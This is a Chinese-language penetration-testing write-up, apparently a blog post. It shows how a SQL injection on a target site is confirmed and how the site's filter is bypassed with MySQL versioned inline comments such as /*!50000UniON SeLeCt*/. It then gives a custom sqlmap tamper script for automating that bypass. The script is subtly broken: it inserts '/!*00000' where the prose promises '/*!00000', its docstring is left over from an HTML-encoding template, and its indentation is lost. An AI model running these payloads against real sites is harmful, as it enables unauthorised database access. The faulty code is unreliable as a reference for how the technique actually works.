在一次针对目标网站的渗透测试中,我们发现了潜在的SQL注入点。通过仔细对比查询结果,我们定位到了一个关键参数。

当尝试闭合参数 finish 时,服务器返回的查询内容明显增多,这暗示了注入的可能性。

进一步的测试验证了我们的猜想,目标确实存在SQL注入漏洞。


然而,在深入测试时,我们发现网站存在一定的过滤机制,直接使用某些Payload会导致请求被拦截。

幸运的是,这种过滤可以通过MySQL的内联注释(/*!...*/)进行绕过。这个过程也让我对内联注释有了更深入的理解。过去,我只知道简单地利用 /*!50000UniON SeLeCt*/ 或 /*!12345union*/ 这类形式,却不明白其背后的原理。
实际上,在MySQL中,/*!...*/ 并非真正的注释。MySQL为了保持兼容性,将一些其特有的语句放在 /*!...*/ 中。这样,这些语句在其他数据库中会被当作注释忽略,但在 MySQL 中会被执行。关键在于 ! 后面紧跟的数字:如果这个数字表示的数据库版本号小于当前数据库的版本号,注释中的内容就会被执行;如果大于或等于当前版本号,则会被当作普通注释处理。
例如,语句 /*!50001UniON SeLeCt*/ 中的 50001 表示:只有当数据库版本是 5.00.01 或更高版本时,其中的 UNION SELECT 才会被执行。这里可能产生一个疑问:数据库版本号通常不是五位数字(如 5.7.23),那么 MySQL 是如何处理的呢?实际上,它会进行转换,例如 5.7.23 对应着 50723。

我们首先通过注入获取了数据库的版本信息。

测试发现,当内联注释中的版本号小于或等于 50723(即 5.7.23)时,Payload 可以成功执行。

而当版本号大于 50723 时,注入则无法成功。

我们已经手工验证了漏洞的存在,但使用 sqlmap 进行自动化测试时,它却无法自动识别出联合查询注入。这是因为目标存在检测机制,需要借助内联注释来绕过。sqlmap 的检测日志也证实了这一点。

这时,我们需要自己编写一个 Tamper 脚本来帮助 sqlmap 绕过检测。

我们参考了 sqlmap-master/tamper 目录下的 htmlencode.py 文件,其核心逻辑就是查找与替换。结合我们已知的利用条件——需要在 Payload 的特定部分插入内联注释 /*!00000...*/ 来绕过,我们开始了脚本编写。

我们基于模板修改了代码,新的 Tamper 脚本如下:
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
>>> tamper("1' AND SLEEP(5)#")
'1'/!*00000AND SLEEP(5)*/#'
"""
if payload:
replaced_text = payload
replace_code = re.search(r"'(.*?)(#|--)", payload)
if replace_code:
replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload)
return replaced_text
这个脚本的作用是:在 Payload 中单引号 ' 之后,注释符(# 或 --)之前的内容外面,包裹上内联注释 /*!00000...*/。脚本成功生效!

通过这次实战,我们不仅成功绕过过滤完成了渗透测试,还掌握了根据实际过滤情况编写定制化 Tamper 脚本的技能。这正是安全研究的魅力所在——在遇到障碍时,创造工具来开辟道路。如果你对这类实战技术细节感兴趣,欢迎来 云栈社区 交流讨论。